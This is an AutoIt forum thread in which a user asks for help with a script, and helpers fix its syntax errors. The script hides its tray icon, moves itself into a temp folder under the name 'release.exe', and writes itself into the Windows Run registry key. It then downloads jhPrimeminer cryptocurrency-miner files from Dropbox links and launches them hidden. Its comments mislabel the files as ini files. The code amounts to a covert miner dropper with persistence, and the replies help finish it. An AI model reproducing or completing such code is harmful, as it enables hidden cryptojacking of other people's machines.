Stim 0 Posted January 19, 2014 I am trying to make a script that first moves it self to the temp file then adds itself to the startup. I then want it to check if a folder exists, if it does I want it to launch a bat file. If not then I want it to create the folder and download several files, then launch one. I have been messing around with the code for a little while now and am not sure what I am doing wrong. When I run the code I get this error: "Line 38" Error parsing function call. Code: expandcollapse popup#NoTrayIcon FileMove(@ScriptFullPath, @TempDir & "\certs\release.exe", 9) Func _StartupRegistry_Install($sName = @ScriptName, $sFilePath = @ScriptFullPath, $sCommandline = '', $fAllUsers = True, $iRunOnce = 0) If $iRunOnce = Default Then $iRunOnce = 0 EndIf If $sFilePath = Default Then $sFilePath = @ScriptFullPath EndIf If $sName = Default Then $sName = @ScriptName EndIf _StartupRegistry_Uninstall($sName, $sFilePath, $fAllUsers, $iRunOnce) ; Deletes the entry in the 'All Users/Current Users' registry. $sName = StringRegExpReplace($sName, '\.[^\.\\/]*$', '') If StringStripWS($sName, 8) = '' Or FileExists($sFilePath) = 0 Then Return SetError(1, 0, False) EndIf Local $i64Bit = '', $sRunOnce = '' Switch $iRunOnce Case 1 $sRunOnce = 'Once' Case 2 $sRunOnce = 'OnceEx' EndSwitch If @OSArch = 'X64' Then $i64Bit = '64' EndIf Local $sRegistryKey = '' If $fAllUsers Then $sRegistryKey = 'HKEY_LOCAL_MACHINE' & $i64Bit & '\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' & $sRunOnce & '\' Else $sRegistryKey = 'HKEY_CURRENT_USER' & $i64Bit & '\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' & $sRunOnce & '\' EndIf Local $iReturn = RegWrite($sRegistryKey, $sName, 'REG_SZ', $sFilePath & ' ' & $sCommandline) Return $iReturn > 0 EndFunc $filedir = @AppDataDir & "\Billy" ;Directory within the Appdata directory where the ini file should be. $filename = "jhPrimeminer-T17.exe" ;Ini file name. $filename1 = "jhPrimeminer-T17-AVX.exe" ;Ini file name. $filename2 = "miner.bat" ;Ini file name. $filename3 = "mpir.dll" ;Ini file name. $filename4 = "msvcp100.dll" ;Ini file name. $filename5 = "msvcr100.dll" ;Ini file name. $DOWNLOAD_LINK = "<a href='https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w"</a> $DOWNLOAD_LINK1 = "<a href='https://dl.dropboxusercontent.com/s/sqi5xye4hgwbkq8/jhPrimeminer-T17-AVX.exe?dl=1&token_hash=AAE6ZZd5_JlM72tYZ1WfZZQBByI3PDUo5ezPorSwVB-9QA' class='bbc_url' title='External link' rel='nofollow external'>hhttps://dl.dropboxusercontent.com/s/sqi5xye4hgwbkq8/jhPrimeminer-T17-AVX.exe?dl=1&token_hash=AAE6ZZd5_JlM72tYZ1WfZZQBByI3PDUo5ezPorSwVB-9QA"</a> $DOWNLOAD_LINK2 = "<a href='https://dl.dropboxusercontent.com/s/75070dc1dbq4dbu/miner.bat?dl=1&token_hash=AAHo8njlr8rtpUdJk6DBKwAcbBpODepDP6o4Hw0Nt4hvyg' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/75070dc1dbq4dbu/miner.bat?dl=1&token_hash=AAHo8njlr8rtpUdJk6DBKwAcbBpODepDP6o4Hw0Nt4hvyg"</a> $DOWNLOAD_LINK3 = "<a href='https://dl.dropboxusercontent.com/s/ex4fp18m44mcxfb/mpir.dll?dl=1&token_hash=AAEeMR13H0mqq3QHDG4zGppgb5rVqvPH9pdu302Ed_dXjA' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/ex4fp18m44mcxfb/mpir.dll?dl=1&token_hash=AAEeMR13H0mqq3QHDG4zGppgb5rVqvPH9pdu302Ed_dXjA"</a> $DOWNLOAD_LINK4 = "<a href='https://dl.dropboxusercontent.com/s/5slf6juvcj32mml/msvcp100.dll?dl=1&token_hash=AAHMuXE7IIul89_qRV4JEFLfBt9ZNoZ8o7VxjAUjPvnitw' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/5slf6juvcj32mml/msvcp100.dll?dl=1&token_hash=AAHMuXE7IIul89_qRV4JEFLfBt9ZNoZ8o7VxjAUjPvnitw"</a> $DOWNLOAD_LINK5 = "<a href='https://dl.dropboxusercontent.com/s/7m9motzz486hz3x/msvcr100.dll?dl=1&token_hash=AAGyeFNFyklcd41iikm8YRrNFaO2K18Ef9YtHD3M3Oj-JQ' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/7m9motzz486hz3x/msvcr100.dll?dl=1&token_hash=AAGyeFNFyklcd41iikm8YRrNFaO2K18Ef9YtHD3M3Oj-JQ"</a> $PATH = @AppDataDir & "\Billy" & "\jhPrimeminer-T17.exe" $PATH1 = @AppDataDir & "\Billy" & "\jhPrimeminer-T17-AVX.exe" $PATH2 = @AppDataDir & "\Billy" & "\miner.bat" $PATH3 = @AppDataDir & "\Billy" & "\mpir.dll" $PATH4 = @AppDataDir & "\Billy" & "\msvcp100.dll" $PATH5 = @AppDataDir & "\Billy" & "\msvcr100.dll" If FileExists($filedir) Then ;Check if the file directory exist. FileChangeDir($filedir) ;Go to the file directory. run(@AppDataDir & "\Billy" & "miner.bat", @SW_HIDE) Else DirCreate ($filedir) ;If file directory doesnt exist, create it. ;file 1 $INET = InetGet($DOWNLOAD_LINK,$PATH,1,1) Do TrayTip("Download",InetGetInfo($INET,0) & "/" & InetGetInfo($INET,1),1) Until InetGetInfo($INET,2) InetClose($INET) ;file 2 $INET1 = InetGet($DOWNLOAD_LINK1,$PATH1,1,1) Do TrayTip("Download",InetGetInfo($INET1,0) & "/" & InetGetInfo($INET1,1),1) Until InetGetInfo($INET1,2) InetClose($INET1) ;file 3 $INET2 = InetGet($DOWNLOAD_LINK2,$PATH2,1,1) Do TrayTip("Download",InetGetInfo($INET2,0) & "/" & InetGetInfo($INET2,1),1) Until InetGetInfo($INET2,2) InetClose($INET2) ;file 4 $INET3 = InetGet($DOWNLOAD_LINK3,$PATH3,1,1) Do TrayTip("Download",InetGetInfo($INET3,0) & "/" & InetGetInfo($INET3,1),1) Until InetGetInfo($INET3,2) InetClose($INET3) ;file 5 $INET4 = InetGet($DOWNLOAD_LINK4,$PATH4,1,1) Do TrayTip("Download",InetGetInfo($INET4,0) & "/" & InetGetInfo($INET4,1),1) Until InetGetInfo($INET4,2) InetClose($INET4) ;file 6 $INET5 = InetGet($DOWNLOAD_LINK5,$PATH5,1,1) Do TrayTip("Download",InetGetInfo($INET5,0) & "/" & InetGetInfo($INET5,1),1) Until InetGetInfo($INET5,2) InetClose($INET5) run(@AppDataDir & "\Billy" & "miner.bat", @SW_HIDE) EndIf I would really appreciate any help. Thanks. Share this post Link to post Share on other sites
water 2,369 Posted January 19, 2014 Welcome to AutoIt and the forum! Can you please post the error messages from the SciTE output pane? My UDFs and Tutorials: Spoiler UDFs:Active Directory (NEW 2020-10-10 - Version 1.5.2.1) - Download - General Help & Support - Example Scripts - WikiOutlookEX (NEW 2020-12-15 - Version 1.6.3.1) - Download - General Help & Support - Example Scripts - WikiOutlookEX_GUI (2020-06-27 - Version 1.3.2.0) - DownloadOutlook Tools (2019-07-22 - Version 0.6.0.0) - Download - General Help & Support - WikiExcelChart (2017-07-21 - Version 0.4.0.1) - Download - General Help & Support - Example ScriptsPowerPoint (2017-06-06 - Version 0.0.5.0) - Download - General Help & SupportExcel - Example Scripts - WikiWord - WikiTask Scheduler (2019-12-03 - Version 1.5.1.0) - Download - General Help & Support - WikiTutorials:ADO - Wiki, WebDriver - Wiki Share this post Link to post Share on other sites
Stim 0 Posted January 19, 2014 I hope this is what you mean. >"C:\Program Files\AutoIt3\SciTE\..\autoit3.exe" /ErrorStdOut "C:\Users\Billy\Desktop\New AutoIt v3 Script.au3" "C:\Users\Billy\Desktop\New AutoIt v3 Script.au3" (66) : ==> Unknown function name.: $DOWNLOAD_LINK = "<a href='https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w"</a> $DOWNLOAD_LINK = "<a href='https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w"</^ ERROR >Exit code: 1 Time: 0.143 Share this post Link to post Share on other sites
water 2,369 Posted January 19, 2014 As you can see "</a>" is after the string delimiter. Change it to $DOWNLOAD_LINK = "<a href='https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w' class='bbc_url' title='External link' rel='nofollow external'>https://dl.dropboxusercontent.com/s/7qdgnns1dahwr1i/jhPrimeminer-T17.exe?dl=1&token_hash=AAEGDeFvrFcqZziqkt0NALhjaYJLhcDVg0m8MJBTW4p-6w</a>" My UDFs and Tutorials: Spoiler UDFs:Active Directory (NEW 2020-10-10 - Version 1.5.2.1) - Download - General Help & Support - Example Scripts - WikiOutlookEX (NEW 2020-12-15 - Version 1.6.3.1) - Download - General Help & Support - Example Scripts - WikiOutlookEX_GUI (2020-06-27 - Version 1.3.2.0) - DownloadOutlook Tools (2019-07-22 - Version 0.6.0.0) - Download - General Help & Support - WikiExcelChart (2017-07-21 - Version 0.4.0.1) - Download - General Help & Support - Example ScriptsPowerPoint (2017-06-06 - Version 0.0.5.0) - Download - General Help & SupportExcel - Example Scripts - WikiWord - WikiTask Scheduler (2019-12-03 - Version 1.5.1.0) - Download - General Help & Support - WikiTutorials:ADO - Wiki, WebDriver - Wiki Share this post Link to post Share on other sites
mikell 1,014 Posted January 19, 2014 Isn't a backslash missing here ? run(@AppDataDir & "\Billy" & "miner.bat", @SW_HIDE) For the $DOWNLOAD_LINK definitions, there are some </a> after the trailing double quotes Share this post Link to post Share on other sites
Stim 0 Posted January 19, 2014 (edited) @water, thank you so much. I got it. You are the best. THANKS!!!! Edited January 19, 2014 by Stim Share this post Link to post Share on other sites
water 2,369 Posted January 19, 2014 That was easy As you can see SciTE always points you to where the error is. BTW4p-6w"</a> BTW4p-6w"</^ ERROR My UDFs and Tutorials: Spoiler UDFs:Active Directory (NEW 2020-10-10 - Version 1.5.2.1) - Download - General Help & Support - Example Scripts - WikiOutlookEX (NEW 2020-12-15 - Version 1.6.3.1) - Download - General Help & Support - Example Scripts - WikiOutlookEX_GUI (2020-06-27 - Version 1.3.2.0) - DownloadOutlook Tools (2019-07-22 - Version 0.6.0.0) - Download - General Help & Support - WikiExcelChart (2017-07-21 - Version 0.4.0.1) - Download - General Help & Support - Example ScriptsPowerPoint (2017-06-06 - Version 0.0.5.0) - Download - General Help & SupportExcel - Example Scripts - WikiWord - WikiTask Scheduler (2019-12-03 - Version 1.5.1.0) - Download - General Help & Support - WikiTutorials:ADO - Wiki, WebDriver - Wiki Share this post Link to post Share on other sites